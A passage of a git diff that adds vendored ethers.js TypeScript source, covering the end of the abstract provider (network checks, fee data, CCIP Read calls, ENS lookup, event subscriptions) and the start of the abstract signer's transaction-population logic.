+ */ + _getTransactionRequest(_request: TransactionRequest): PerformActionTransaction | Promise { + const request = copyRequest(_request); + + const promises: Array> = [ ]; + [ "to", "from" ].forEach((key) => { + if ((request)[key] == null) { return; } + + const addr = resolveAddress((request)[key], this); + if (isPromise(addr)) { + promises.push((async function() { (request)[key] = await addr; })()); + } else { + (request)[key] = addr; + } + }); + + if (request.blockTag != null) { + const blockTag = this._getBlockTag(request.blockTag); + if (isPromise(blockTag)) { + promises.push((async function() { request.blockTag = await blockTag; })()); + } else { + request.blockTag = blockTag; + } + } + + if (promises.length) { + return (async function() { + await Promise.all(promises); + return request; + })(); + } + + return request; + } + + async getNetwork(): Promise { + + // No explicit network was set and this is our first time + if (this.#networkPromise == null) { + + // Detect the current network (shared with all calls) + const detectNetwork = (async () => { + try { + const network = await this._detectNetwork(); + this.emit("network", network, null); + return network; + } catch (error) { + if (this.#networkPromise === detectNetwork!) { + this.#networkPromise = null; + } + throw error; + } + })(); + + this.#networkPromise = detectNetwork; + return (await detectNetwork).clone(); + } + + const networkPromise = this.#networkPromise; + + const [ expected, actual ] = await Promise.all([ + networkPromise, // Possibly an explicit Network + this._detectNetwork() // The actual connected network + ]); + + if (expected.chainId !== actual.chainId) { + if (this.#anyNetwork) { + // The "any" network can change, so notify listeners + this.emit("network", actual, expected); + + // Update the network if something else hasn't already changed it + if (this.#networkPromise === networkPromise) { + this.#networkPromise = Promise.resolve(actual); + } + } else { + // Otherwise, we do not allow changes to the underlying network + assert(false, `network changed: ${ expected.chainId } => ${ actual.chainId } `, "NETWORK_ERROR", { + event: "changed" + }); + } + } + + return expected.clone(); + } + + async getFeeData(): Promise { + const network = await this.getNetwork(); + + const getFeeDataFunc = async () => { + const { _block, gasPrice, priorityFee } = await resolveProperties({ + _block: this.#getBlock("latest", false), + gasPrice: ((async () => { + try { + const value = await this.#perform({ method: "getGasPrice" }); + return getBigInt(value, "%response"); + } catch (error) { } + return null + })()), + priorityFee: ((async () => { + try { + const value = await this.#perform({ method: "getPriorityFee" }); + return getBigInt(value, "%response"); + } catch (error) { } + return null; + })()) + }); + + let maxFeePerGas: null | bigint = null; + let maxPriorityFeePerGas: null | bigint = null; + + // These are the recommended EIP-1559 heuristics for fee data + const block = this._wrapBlock(_block, network); + if (block && block.baseFeePerGas) { + maxPriorityFeePerGas = (priorityFee != null) ? priorityFee: BigInt("1000000000"); + maxFeePerGas = (block.baseFeePerGas * BN_2) + maxPriorityFeePerGas; + } + + return new FeeData(gasPrice, maxFeePerGas, maxPriorityFeePerGas); + }; + + // Check for a FeeDataNetWorkPlugin + const plugin = network.getPlugin("org.ethers.plugins.network.FetchUrlFeeDataPlugin"); + if (plugin) { + const req = new FetchRequest(plugin.url); + const feeData = await plugin.processFunc(getFeeDataFunc, this, req); + return new FeeData(feeData.gasPrice, feeData.maxFeePerGas, feeData.maxPriorityFeePerGas); + } + + return await getFeeDataFunc(); + } + + + async estimateGas(_tx: TransactionRequest): Promise { + let tx = this._getTransactionRequest(_tx); + if (isPromise(tx)) { tx = await tx; } + return getBigInt(await this.#perform({ + method: "estimateGas", transaction: tx + }), "%response"); + } + + async #call(tx: PerformActionTransaction, blockTag: string, attempt: number): Promise { + assert (attempt < MAX_CCIP_REDIRECTS, "CCIP read exceeded maximum redirections", "OFFCHAIN_FAULT", { + reason: "TOO_MANY_REDIRECTS", + transaction: Object.assign({ }, tx, { blockTag, enableCcipRead: true }) + }); + + // This came in as a PerformActionTransaction, so to/from are safe; we can cast + const transaction = copyRequest(tx); + + try { + return hexlify(await this._perform({ method: "call", transaction, blockTag })); + + } catch (error: any) { + // CCIP Read OffchainLookup + if (!this.disableCcipRead && isCallException(error) && error.data && attempt >= 0 && blockTag === "latest" && transaction.to != null && dataSlice(error.data, 0, 4) === "0x556f1830") { + const data = error.data; + + const txSender = await resolveAddress(transaction.to, this); + + // Parse the CCIP Read Arguments + let ccipArgs: CcipArgs; + try { + ccipArgs = parseOffchainLookup(dataSlice(error.data, 4)); + } catch (error: any) { + assert(false, error.message, "OFFCHAIN_FAULT", { + reason: "BAD_DATA", transaction, info: { data } }); + } + + // Check the sender of the OffchainLookup matches the transaction + assert(ccipArgs.sender.toLowerCase() === txSender.toLowerCase(), + "CCIP Read sender mismatch", "CALL_EXCEPTION", { + action: "call", + data, + reason: "OffchainLookup", + transaction: transaction, // @TODO: populate data? + invocation: null, + revert: { + signature: "OffchainLookup(address,string[],bytes,bytes4,bytes)", + name: "OffchainLookup", + args: ccipArgs.errorArgs + } + }); + + const ccipResult = await this.ccipReadFetch(transaction, ccipArgs.calldata, ccipArgs.urls); + assert(ccipResult != null, "CCIP Read failed to fetch data", "OFFCHAIN_FAULT", { + reason: "FETCH_FAILED", transaction, info: { data: error.data, errorArgs: ccipArgs.errorArgs } }); + + const tx = { + to: txSender, + data: concat([ ccipArgs.selector, encodeBytes([ ccipResult, ccipArgs.extraData ]) ]) + }; + + this.emit("debug", { action: "sendCcipReadCall", transaction: tx }); + try { + const result = await this.#call(tx, blockTag, attempt + 1); + this.emit("debug", { action: "receiveCcipReadCallResult", transaction: Object.assign({ }, tx), result }); + return result; + } catch (error) { + this.emit("debug", { action: "receiveCcipReadCallError", transaction: Object.assign({ }, tx), error }); + throw error; + } + } + + throw error; + } + } + + async #checkNetwork(promise: Promise): Promise { + const { value } = await resolveProperties({ + network: this.getNetwork(), + value: promise + }); + return value; + } + + async call(_tx: TransactionRequest): Promise { + const { tx, blockTag } = await resolveProperties({ + tx: this._getTransactionRequest(_tx), + blockTag: this._getBlockTag(_tx.blockTag) + }); + + return await this.#checkNetwork(this.#call(tx, blockTag, _tx.enableCcipRead ? 0: -1)); + } + + // Account + async #getAccountValue(request: _PerformAccountRequest, _address: AddressLike, _blockTag?: BlockTag): Promise { + let address: string | Promise = this._getAddress(_address); + let blockTag: string | Promise = this._getBlockTag(_blockTag); + + if (typeof(address) !== "string" || typeof(blockTag) !== "string") { + [ address, blockTag ] = await Promise.all([ address, blockTag ]); + } + + return await this.#checkNetwork(this.#perform(Object.assign(request, { address, blockTag }))); + } + + async getBalance(address: AddressLike, blockTag?: BlockTag): Promise { + return getBigInt(await this.#getAccountValue({ method: "getBalance" }, address, blockTag), "%response"); + } + + async getTransactionCount(address: AddressLike, blockTag?: BlockTag): Promise { + return getNumber(await this.#getAccountValue({ method: "getTransactionCount" }, address, blockTag), "%response"); + } + + async getCode(address: AddressLike, blockTag?: BlockTag): Promise { + return hexlify(await this.#getAccountValue({ method: "getCode" }, address, blockTag)); + } + + async getStorage(address: AddressLike, _position: BigNumberish, blockTag?: BlockTag): Promise { + const position = getBigInt(_position, "position"); + return hexlify(await this.#getAccountValue({ method: "getStorage", position }, address, blockTag)); + } + + // Write + async broadcastTransaction(signedTx: string): Promise { + const { blockNumber, hash, network } = await resolveProperties({ + blockNumber: this.getBlockNumber(), + hash: this._perform({ + method: "broadcastTransaction", + signedTransaction: signedTx + }), + network: this.getNetwork() + }); + + const tx = Transaction.from(signedTx); + if (tx.hash !== hash) { + throw new Error("@TODO: the returned hash did not match"); + } + + return this._wrapTransactionResponse(tx, network).replaceableTransaction(blockNumber); + } + + async #getBlock(block: BlockTag | string, includeTransactions: boolean): Promise { + // @TODO: Add CustomBlockPlugin check + + if (isHexString(block, 32)) { + return await this.#perform({ + method: "getBlock", blockHash: block, includeTransactions + }); + } + + let blockTag = this._getBlockTag(block); + if (typeof(blockTag) !== "string") { blockTag = await blockTag; } + + return await this.#perform({ + method: "getBlock", blockTag, includeTransactions + }); + } + + // Queries + async getBlock(block: BlockTag | string, prefetchTxs?: boolean): Promise { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#getBlock(block, !!prefetchTxs) + }); + if (params == null) { return null; } + + return this._wrapBlock(params, network); + } + + async getTransaction(hash: string): Promise { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransaction", hash }) + }); + if (params == null) { return null; } + + return this._wrapTransactionResponse(params, network); + } + + async getTransactionReceipt(hash: string): Promise { + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform({ method: "getTransactionReceipt", hash }) + }); + if (params == null) { return null; } + + // Some backends did not backfill the effectiveGasPrice into old transactions + // in the receipt, so we look it up manually and inject it. + if (params.gasPrice == null && params.effectiveGasPrice == null) { + const tx = await this.#perform({ method: "getTransaction", hash }); + if (tx == null) { throw new Error("report this; could not find tx or effectiveGasPrice"); } + params.effectiveGasPrice = tx.gasPrice; + } + + return this._wrapTransactionReceipt(params, network); + } + + async getTransactionResult(hash: string): Promise { + const { result } = await resolveProperties({ + network: this.getNetwork(), + result: this.#perform({ method: "getTransactionResult", hash }) + }); + if (result == null) { return null; } + return hexlify(result); + } + + // Bloom-filter Queries + async getLogs(_filter: Filter | FilterByBlockHash): Promise> { + let filter = this._getFilter(_filter); + if (isPromise(filter)) { filter = await filter; } + + const { network, params } = await resolveProperties({ + network: this.getNetwork(), + params: this.#perform>({ method: "getLogs", filter }) + }); + + return params.map((p) => this._wrapLog(p, network)); + } + + // ENS + _getProvider(chainId: number): AbstractProvider { + assert(false, "provider cannot connect to target network", "UNSUPPORTED_OPERATION", { + operation: "_getProvider()" + }); + } + + async getResolver(name: string): Promise { + return await EnsResolver.fromName(this, name); + } + + async getAvatar(name: string): Promise { + const resolver = await this.getResolver(name); + if (resolver) { return await resolver.getAvatar(); } + return null; + } + + async resolveName(name: string): Promise{ + const resolver = await this.getResolver(name); + if (resolver) { return await resolver.getAddress(); } + return null; + } + + async lookupAddress(address: string): Promise { + address = getAddress(address); + const node = namehash(address.substring(2).toLowerCase() + ".addr.reverse"); + + try { + + const ensAddr = await EnsResolver.getEnsAddress(this); + const ensContract = new Contract(ensAddr, [ + "function resolver(bytes32) view returns (address)" + ], this); + + const resolver = await ensContract.resolver(node); + if (resolver == null || resolver === ZeroAddress) { return null; } + + const resolverContract = new Contract(resolver, [ + "function name(bytes32) view returns (string)" + ], this); + const name = await resolverContract.name(node); + + // Failed forward resolution + const check = await this.resolveName(name); + if (check !== address) { return null; } + + return name; + + } catch (error) { + // No data was returned from the resolver + if (isError(error, "BAD_DATA") && error.value === "0x") { + return null; + } + + // Something reerted + if (isError(error, "CALL_EXCEPTION")) { return null; } + + throw error; + } + + return null; + } + + async waitForTransaction(hash: string, _confirms?: null | number, timeout?: null | number): Promise { + const confirms = (_confirms != null) ? _confirms: 1; + if (confirms === 0) { return this.getTransactionReceipt(hash); } + + return new Promise(async (resolve, reject) => { + let timer: null | Timer = null; + + const listener = (async (blockNumber: number) => { + try { + const receipt = await this.getTransactionReceipt(hash); + if (receipt != null) { + if (blockNumber - receipt.blockNumber + 1 >= confirms) { + resolve(receipt); + //this.off("block", listener); + if (timer) { + clearTimeout(timer); + timer = null; + } + return; + } + } + } catch (error) { + console.log("EEE", error); + } + this.once("block", listener); + }); + + if (timeout != null) { + timer = setTimeout(() => { + if (timer == null) { return; } + timer = null; + this.off("block", listener); + reject(makeError("timeout", "TIMEOUT", { reason: "timeout" })); + }, timeout); + } + + listener(await this.getBlockNumber()); + }); + } + + async waitForBlock(blockTag?: BlockTag): Promise { + assert(false, "not implemented yet", "NOT_IMPLEMENTED", { + operation: "waitForBlock" + }); + } + + /** + * Clear a timer created using the [[_setTimeout]] method. + */ + _clearTimeout(timerId: number): void { + const timer = this.#timers.get(timerId); + if (!timer) { return; } + if (timer.timer) { clearTimeout(timer.timer); } + this.#timers.delete(timerId); + } + + /** + * Create a timer that will execute %%func%% after at least %%timeout%% + * (in ms). If %%timeout%% is unspecified, then %%func%% will execute + * in the next event loop. + * + * [Pausing](AbstractProvider-paused) the provider will pause any + * associated timers. + */ + _setTimeout(_func: () => void, timeout?: number): number { + if (timeout == null) { timeout = 0; } + const timerId = this.#nextTimer++; + const func = () => { + this.#timers.delete(timerId); + _func(); + }; + + if (this.paused) { + this.#timers.set(timerId, { timer: null, func, time: timeout }); + } else { + const timer = setTimeout(func, timeout); + this.#timers.set(timerId, { timer, func, time: getTime() }); + } + + return timerId; + } + + /** + * Perform %%func%% on each subscriber. + */ + _forEachSubscriber(func: (s: Subscriber) => void): void { + for (const sub of this.#subs.values()) { + func(sub.subscriber); + } + } + + /** + * Sub-classes may override this to customize subscription + * implementations. + */ + _getSubscriber(sub: Subscription): Subscriber { + switch (sub.type) { + case "debug": + case "error": + case "network": + return new UnmanagedSubscriber(sub.type); + case "block": { + const subscriber = new PollingBlockSubscriber(this); + subscriber.pollingInterval = this.pollingInterval; + return subscriber; + } + case "safe": case "finalized": + return new PollingBlockTagSubscriber(this, sub.type); + case "event": + return new PollingEventSubscriber(this, sub.filter); + case "transaction": + return new PollingTransactionSubscriber(this, sub.hash); + case "orphan": + return new PollingOrphanSubscriber(this, sub.filter); + } + + throw new Error(`unsupported event: ${ sub.type }`); + } + + /** + * If a [[Subscriber]] fails and needs to replace itself, this + * method may be used. + * + * For example, this is used for providers when using the + * ``eth_getFilterChanges`` method, which can return null if state + * filters are not supported by the backend, allowing the Subscriber + * to swap in a [[PollingEventSubscriber]]. + */ + _recoverSubscriber(oldSub: Subscriber, newSub: Subscriber): void { + for (const sub of this.#subs.values()) { + if (sub.subscriber === oldSub) { + if (sub.started) { sub.subscriber.stop(); } + sub.subscriber = newSub; + if (sub.started) { newSub.start(); } + if (this.#pausedState != null) { newSub.pause(this.#pausedState); } + break; + } + } + } + + async #hasSub(event: ProviderEvent, emitArgs?: Array): Promise { + let sub = await getSubscription(event, this); + // This is a log that is removing an existing log; we actually want + // to emit an orphan event for the removed log + if (sub.type === "event" && emitArgs && emitArgs.length > 0 && emitArgs[0].removed === true) { + sub = await getSubscription({ orphan: "drop-log", log: emitArgs[0] }, this); + } + return this.#subs.get(sub.tag) || null; + } + + async #getSub(event: ProviderEvent): Promise { + const subscription = await getSubscription(event, this); + + // Prevent tampering with our tag in any subclass' _getSubscriber + const tag = subscription.tag; + + let sub = this.#subs.get(tag); + if (!sub) { + const subscriber = this._getSubscriber(subscription); + + const addressableMap = new WeakMap(); + const nameMap = new Map(); + sub = { subscriber, tag, addressableMap, nameMap, started: false, listeners: [ ] }; + this.#subs.set(tag, sub); + } + + return sub; + } + + async on(event: ProviderEvent, listener: Listener): Promise { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: false }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { sub.subscriber.pause(this.#pausedState); } + } + return this; + } + + async once(event: ProviderEvent, listener: Listener): Promise { + const sub = await this.#getSub(event); + sub.listeners.push({ listener, once: true }); + if (!sub.started) { + sub.subscriber.start(); + sub.started = true; + if (this.#pausedState != null) { sub.subscriber.pause(this.#pausedState); } + } + return this; + } + + async emit(event: ProviderEvent, ...args: Array): Promise { + const sub = await this.#hasSub(event, args); + // If there is not subscription or if a recent emit removed + // the last of them (which also deleted the sub) do nothing + if (!sub || sub.listeners.length === 0) { return false; }; + + const count = sub.listeners.length; + sub.listeners = sub.listeners.filter(({ listener, once }) => { + const payload = new EventPayload(this, (once ? null: listener), event); + try { + listener.call(this, ...args, payload); + } catch(error) { } + return !once; + }); + + if (sub.listeners.length === 0) { + if (sub.started) { sub.subscriber.stop(); } + this.#subs.delete(sub.tag); + } + + return (count > 0); + } + + async listenerCount(event?: ProviderEvent): Promise { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { return 0; } + return sub.listeners.length; + } + + let total = 0; + for (const { listeners } of this.#subs.values()) { + total += listeners.length; + } + return total; + } + + async listeners(event?: ProviderEvent): Promise> { + if (event) { + const sub = await this.#hasSub(event); + if (!sub) { return [ ]; } + return sub.listeners.map(({ listener }) => listener); + } + let result: Array = [ ]; + for (const { listeners } of this.#subs.values()) { + result = result.concat(listeners.map(({ listener }) => listener)); + } + return result; + } + + async off(event: ProviderEvent, listener?: Listener): Promise { + const sub = await this.#hasSub(event); + if (!sub) { return this; } + + if (listener) { + const index = sub.listeners.map(({ listener }) => listener).indexOf(listener); + if (index >= 0) { sub.listeners.splice(index, 1); } + } + + if (!listener || sub.listeners.length === 0) { + if (sub.started) { sub.subscriber.stop(); } + this.#subs.delete(sub.tag); + } + + return this; + } + + async removeAllListeners(event?: ProviderEvent): Promise { + if (event) { + const { tag, started, subscriber } = await this.#getSub(event); + if (started) { subscriber.stop(); } + this.#subs.delete(tag); + } else { + for (const [ tag, { started, subscriber } ] of this.#subs) { + if (started) { subscriber.stop(); } + this.#subs.delete(tag); + } + } + return this; + } + + // Alias for "on" + async addListener(event: ProviderEvent, listener: Listener): Promise { + return await this.on(event, listener); + } + + // Alias for "off" + async removeListener(event: ProviderEvent, listener: Listener): Promise { + return this.off(event, listener); + } + + /** + * If this provider has been destroyed using the [[destroy]] method. + * + * Once destroyed, all resources are reclaimed, internal event loops + * and timers are cleaned up and no further requests may be sent to + * the provider. + */ + get destroyed(): boolean { + return this.#destroyed; + } + + /** + * Sub-classes may use this to shutdown any sockets or release their + * resources and reject any pending requests. + * + * Sub-classes **must** call ``super.destroy()``. + */ + destroy(): void { + // Stop all listeners + this.removeAllListeners(); + + // Shut down all tiemrs + for (const timerId of this.#timers.keys()) { + this._clearTimeout(timerId); + } + + this.#destroyed = true; + } + + /** + * Whether the provider is currently paused. + * + * A paused provider will not emit any events, and generally should + * not make any requests to the network, but that is up to sub-classes + * to manage. + * + * Setting ``paused = true`` is identical to calling ``.pause(false)``, + * which will buffer any events that occur while paused until the + * provider is unpaused. + */ + get paused(): boolean { return (this.#pausedState != null); } + set paused(pause: boolean) { + if (!!pause === this.paused) { return; } + + if (this.paused) { + this.resume(); + } else { + this.pause(false); + } + } + + /** + * Pause the provider. If %%dropWhilePaused%%, any events that occur + * while paused are dropped, otherwise all events will be emitted once + * the provider is unpaused. + */ + pause(dropWhilePaused?: boolean): void { + this.#lastBlockNumber = -1; + + if (this.#pausedState != null) { + if (this.#pausedState == !!dropWhilePaused) { return; } + assert(false, "cannot change pause type; resume first", "UNSUPPORTED_OPERATION", { + operation: "pause" + }); + } + + this._forEachSubscriber((s) => s.pause(dropWhilePaused)); + this.#pausedState = !!dropWhilePaused; + + for (const timer of this.#timers.values()) { + // Clear the timer + if (timer.timer) { clearTimeout(timer.timer); } + + // Remaining time needed for when we become unpaused + timer.time = getTime() - timer.time; + } + } + + /** + * Resume the provider. + */ + resume(): void { + if (this.#pausedState == null) { return; } + + this._forEachSubscriber((s) => s.resume()); + this.#pausedState = null; + for (const timer of this.#timers.values()) { + // Remaining time when we were paused + let timeout = timer.time; + if (timeout < 0) { timeout = 0; } + + // Start time (in cause paused, so we con compute remaininf time) + timer.time = getTime(); + + // Start the timer + setTimeout(timer.func, timeout); + } + } +} + + +function _parseString(result: string, start: number): null | string { + try { + const bytes = _parseBytes(result, start); + if (bytes) { return toUtf8String(bytes); } + } catch(error) { } + return null; +} + +function _parseBytes(result: string, start: number): null | string { + if (result === "0x") { return null; } + try { + const offset = getNumber(dataSlice(result, start, start + 32)); + const length = getNumber(dataSlice(result, offset, offset + 32)); + + return dataSlice(result, offset + 32, offset + 32 + length); + } catch (error) { } + return null; +} + +function numPad(value: number): Uint8Array { + const result = toBeArray(value); + if (result.length > 32) { throw new Error("internal; should not happen"); } + + const padded = new Uint8Array(32); + padded.set(result, 32 - result.length); + return padded; +} + +function bytesPad(value: Uint8Array): Uint8Array { + if ((value.length % 32) === 0) { return value; } + + const result = new Uint8Array(Math.ceil(value.length / 32) * 32); + result.set(value); + return result; +} + +const empty: Uint8Array = new Uint8Array([ ]); + +// ABI Encodes a series of (bytes, bytes, ...) +function encodeBytes(datas: Array): string { + const result: Array = [ ]; + + let byteCount = 0; + + // Add place-holders for pointers as we add items + for (let i = 0; i < datas.length; i++) { + result.push(empty); + byteCount += 32; + } + + for (let i = 0; i < datas.length; i++) { + const data = getBytes(datas[i]); + + // Update the bytes offset + result[i] = numPad(byteCount); + + // The length and padded value of data + result.push(numPad(data.length)); + result.push(bytesPad(data)); + byteCount += 32 + Math.ceil(data.length / 32) * 32; + } + + return concat(result); +} + +const zeros = "0x0000000000000000000000000000000000000000000000000000000000000000" +function parseOffchainLookup(data: string): CcipArgs { + const result: CcipArgs = { + sender: "", urls: [ ], calldata: "", selector: "", extraData: "", errorArgs: [ ] + }; + + assert(dataLength(data) >= 5 * 32, "insufficient OffchainLookup data", "OFFCHAIN_FAULT", { + reason: "insufficient OffchainLookup data" + }); + + const sender = dataSlice(data, 0, 32); + assert(dataSlice(sender, 0, 12) === dataSlice(zeros, 0, 12), "corrupt OffchainLookup sender", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup sender" + }); + result.sender = dataSlice(sender, 12); + + // Read the URLs from the response + try { + const urls: Array = []; + const urlsOffset = getNumber(dataSlice(data, 32, 64)); + const urlsLength = getNumber(dataSlice(data, urlsOffset, urlsOffset + 32)); + const urlsData = dataSlice(data, urlsOffset + 32); + for (let u = 0; u < urlsLength; u++) { + const url = _parseString(urlsData, u * 32); + if (url == null) { throw new Error("abort"); } + urls.push(url); + } + result.urls = urls; + } catch (error) { + assert(false, "corrupt OffchainLookup urls", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup urls" + }); + } + + // Get the CCIP calldata to forward + try { + const calldata = _parseBytes(data, 64); + if (calldata == null) { throw new Error("abort"); } + result.calldata = calldata; + } catch (error) { + assert(false, "corrupt OffchainLookup calldata", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup calldata" + }); + } + + // Get the callbackSelector (bytes4) + assert(dataSlice(data, 100, 128) === dataSlice(zeros, 0, 28), "corrupt OffchainLookup callbaackSelector", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup callbaackSelector" + }); + result.selector = dataSlice(data, 96, 100); + + // Get the extra data to send back to the contract as context + try { + const extraData = _parseBytes(data, 128); + if (extraData == null) { throw new Error("abort"); } + result.extraData = extraData; + } catch (error) { + assert(false, "corrupt OffchainLookup extraData", "OFFCHAIN_FAULT", { + reason: "corrupt OffchainLookup extraData" + }); + } + + result.errorArgs = "sender,urls,calldata,selector,extraData".split(/,/).map((k) => (result)[k]) + + return result; +} diff --git a/node_modules/ethers/src.ts/providers/abstract-signer.ts b/node_modules/ethers/src.ts/providers/abstract-signer.ts new file mode 100644 index 000000000000..708f9741561d --- /dev/null +++ b/node_modules/ethers/src.ts/providers/abstract-signer.ts @@ -0,0 +1,314 @@ +/** + * Generally the [[Wallet]] and [[JsonRpcSigner]] and their sub-classes + * are sufficent for most developers, but this is provided to + * fascilitate more complex Signers. + * + * @_section: api/providers/abstract-signer: Subclassing Signer [abstract-signer] + */ +import { resolveAddress } from "../address/index.js"; +import { Transaction } from "../transaction/index.js"; +import { + defineProperties, getBigInt, resolveProperties, + assert, assertArgument +} from "../utils/index.js"; + +import { copyRequest } from "./provider.js"; + +import type { + AuthorizationRequest, TypedDataDomain, TypedDataField +} from "../hash/index.js"; +import type { Authorization, TransactionLike } from "../transaction/index.js"; + +import type { + BlockTag, Provider, TransactionRequest, TransactionResponse +} from "./provider.js"; +import type { Signer } from "./signer.js"; + +function checkProvider(signer: AbstractSigner, operation: string): Provider { + if (signer.provider) { return signer.provider; } + assert(false, "missing provider", "UNSUPPORTED_OPERATION", { operation }); +} + +async function populate(signer: AbstractSigner, tx: TransactionRequest): Promise> { + let pop: any = copyRequest(tx); + + if (pop.to != null) { pop.to = resolveAddress(pop.to, signer); } + + if (pop.from != null) { + const from = pop.from; + pop.from = Promise.all([ + signer.getAddress(), + resolveAddress(from, signer) + ]).then(([ address, from ]) => { + assertArgument(address.toLowerCase() === from.toLowerCase(), + "transaction from mismatch", "tx.from", from); + return address; + }); + } else { + pop.from = signer.getAddress(); + } + + return await resolveProperties(pop); +} + + +/** + * An **AbstractSigner** includes most of teh functionality required + * to get a [[Signer]] working as expected, but requires a few + * Signer-specific methods be overridden. + * + */ +export abstract class AbstractSigner

    implements Signer { + /** + * The provider this signer is connected to. + */ + readonly provider!: P; + + /** + * Creates a new Signer connected to %%provider%%. + */ + constructor(provider?: P) { + defineProperties(this, { provider: (provider || null) }); + } + + /** + * Resolves to the Signer address. + */ + abstract getAddress(): Promise; + + /** + * Returns the signer connected to %%provider%%. + * + * This may throw, for example, a Signer connected over a Socket or + * to a specific instance of a node may not be transferrable. + */ + abstract connect(provider: null | Provider): Signer; + + async getNonce(blockTag?: BlockTag): Promise { + return checkProvider(this, "getTransactionCount").getTransactionCount(await this.getAddress(), blockTag); + } + + async populateCall(tx: TransactionRequest): Promise> { + const pop = await populate(this, tx); + return pop; + } + + async populateTransaction(tx: TransactionRequest): Promise> { + const provider = checkProvider(this, "populateTransaction"); + + const pop = await populate(this, tx); + + if (pop.nonce == null) { + pop.nonce = await this.getNonce("pending"); + } + + if (pop.gasLimit == null) { + pop.gasLimit = await this.estimateGas(pop); + } + + // Populate the chain ID + const network = await ((this.provider)).getNetwork(); + if (pop.chainId != null) { + const chainId = getBigInt(pop.chainId); + assertArgument(chainId === network.chainId, "transaction chainId mismatch", "tx.chainId", tx.chainId); + } else { + pop.chainId = network.chainId; + } + + // Do not allow mixing pre-eip-1559 and eip-1559 properties + const hasEip1559 = (pop.maxFeePerGas != null || pop.maxPriorityFeePerGas != null); + if (pop.gasPrice != null && (pop.type === 2 || hasEip1559)) { + assertArgument(false, "eip-1559 transaction do not support gasPrice", "tx", tx); + } else if ((pop.type === 0 || pop.type === 1) && hasEip1559) { + assertArgument(false, "pre-eip-1559 transaction do not support maxFeePerGas/maxPriorityFeePerGas", "tx", tx); + } + + if ((pop.type === 2 || pop.type == null) && (pop.maxFeePerGas != null && pop.maxPriorityFeePerGas != null)) { + // Fully-formed EIP-1559 transaction (skip getFeeData) + pop.type = 2; + + } else if (pop.type === 0 || pop.type === 1) { + // Explicit Legacy or EIP-2930 transaction + + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + + assert(feeData.gasPrice != null, "network does not support gasPrice", "UNSUPPORTED_OPERATION", { + operation: "getGasPrice" }); + + // Populate missing gasPrice + if (pop.gasPrice == null) { pop.gasPrice = feeData.gasPrice; } + + } else { + + // We need to get fee data to determine things + const feeData = await provider.getFeeData(); + + if (pop.type == null) { + // We need to auto-detect the intended type of this transaction... + + if (feeData.maxFeePerGas != null && feeData.maxPriorityFeePerGas != null) { + // The network supports EIP-1559! + + // Upgrade transaction from null to eip-1559 + if (pop.authorizationList && pop.authorizationList.length) { + pop.type = 4; + } else { + pop.type = 2; + } + + if (pop.gasPrice != null) { + // Using legacy gasPrice property on an eip-1559 network, + // so use gasPrice as both fee properties + const gasPrice = pop.gasPrice; + delete pop.gasPrice; + pop.maxFeePerGas = gasPrice; + pop.maxPriorityFeePerGas = gasPrice; + + } else { + // Populate missing fee data + + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + + } else if (feeData.gasPrice != null) { + // Network doesn't support EIP-1559... + + // ...but they are trying to use EIP-1559 properties + assert(!hasEip1559, "network does not support EIP-1559", "UNSUPPORTED_OPERATION", { + operation: "populateTransaction" }); + + // Populate missing fee data + if (pop.gasPrice == null) { + pop.gasPrice = feeData.gasPrice; + } + + // Explicitly set untyped transaction to legacy + // @TODO: Maybe this shold allow type 1? + pop.type = 0; + + } else { + // getFeeData has failed us. + assert(false, "failed to get consistent fee data", "UNSUPPORTED_OPERATION", { + operation: "signer.getFeeData" }); + } + + } else if (pop.type === 2 || pop.type === 3 || pop.type === 4) { + // Explicitly using EIP-1559 or EIP-4844 + + // Populate missing fee data + if (pop.maxFeePerGas == null) { + pop.maxFeePerGas = feeData.maxFeePerGas; + } + + if (pop.maxPriorityFeePerGas == null) { + pop.maxPriorityFeePerGas = feeData.maxPriorityFeePerGas; + } + } + } + +//@TOOD: Don't await all over the place; save them up for +// the end for better batching + return await resolveProperties(pop); + } + + async populateAuthorization(_auth: AuthorizationRequest): Promise { + const auth = Object.assign({ }, _auth); + + // Add a chain ID if not explicitly set to 0 + if (auth.chainId == null) { + auth.chainId = (await checkProvider(this, "getNetwork").getNetwork()).chainId; + } + + // @TODO: Take chain ID into account when populating noce? + + if (auth.nonce == null) { auth.nonce = await this.getNonce(); } + + return auth; + } + + async estimateGas(tx: TransactionRequest): Promise { + return checkProvider(this, "estimateGas").estimateGas(await this.populateCall(tx)); + } + + async call(tx: TransactionRequest): Promise { + return checkProvider(this, "call").call(await this.populateCall(tx)); + } + + async resolveName(name: string): Promise { + const provider = checkProvider(this, "resolveName"); + return await provider.resolveName(name); + } + + async sendTransaction(tx: TransactionRequest): Promise { + const provider = checkProvider(this, "sendTransaction"); + + const pop = await this.populateTransaction(tx); + delete pop.from; + const txObj = Transaction.from(pop); + return await provider.broadcastTransaction(await this.signTransaction(txObj)); + } + + // @TODO: in v7 move this to be abstract + authorize(authorization: AuthorizationRequest): Promise { + assert(false, "authorization not implemented for this signer", + "UNSUPPORTED_OPERATION", { operation: "authorize" }); + } + + abstract signTransaction(tx: TransactionRequest): Promise; + abstract signMessage(message: string | Uint8Array): Promise; + abstract signTypedData(domain: TypedDataDomain, types: Record>, value: Record): Promise; +} + +/** + * A **VoidSigner** is a class deisgned to allow an address to be used + * in any API which accepts a Signer, but for which there are no + * credentials available to perform any actual signing. + * + * This for example allow impersonating an account for the purpose of + * static calls or estimating gas, but does not allow sending transactions. + */ +export class VoidSigner extends AbstractSigner { + /** + * The signer address. + */ + readonly address!: string; + + /** + * Creates a new **VoidSigner** with %%address%% attached to + * %%provider%%. + */ + constructor(address: string, provider?: null | Provider) { + super(provider); + defineProperties(this, { address }); + } + + async getAddress(): Promise { return this.address; } + + connect(provider: null | Provider): VoidSigner { + return new 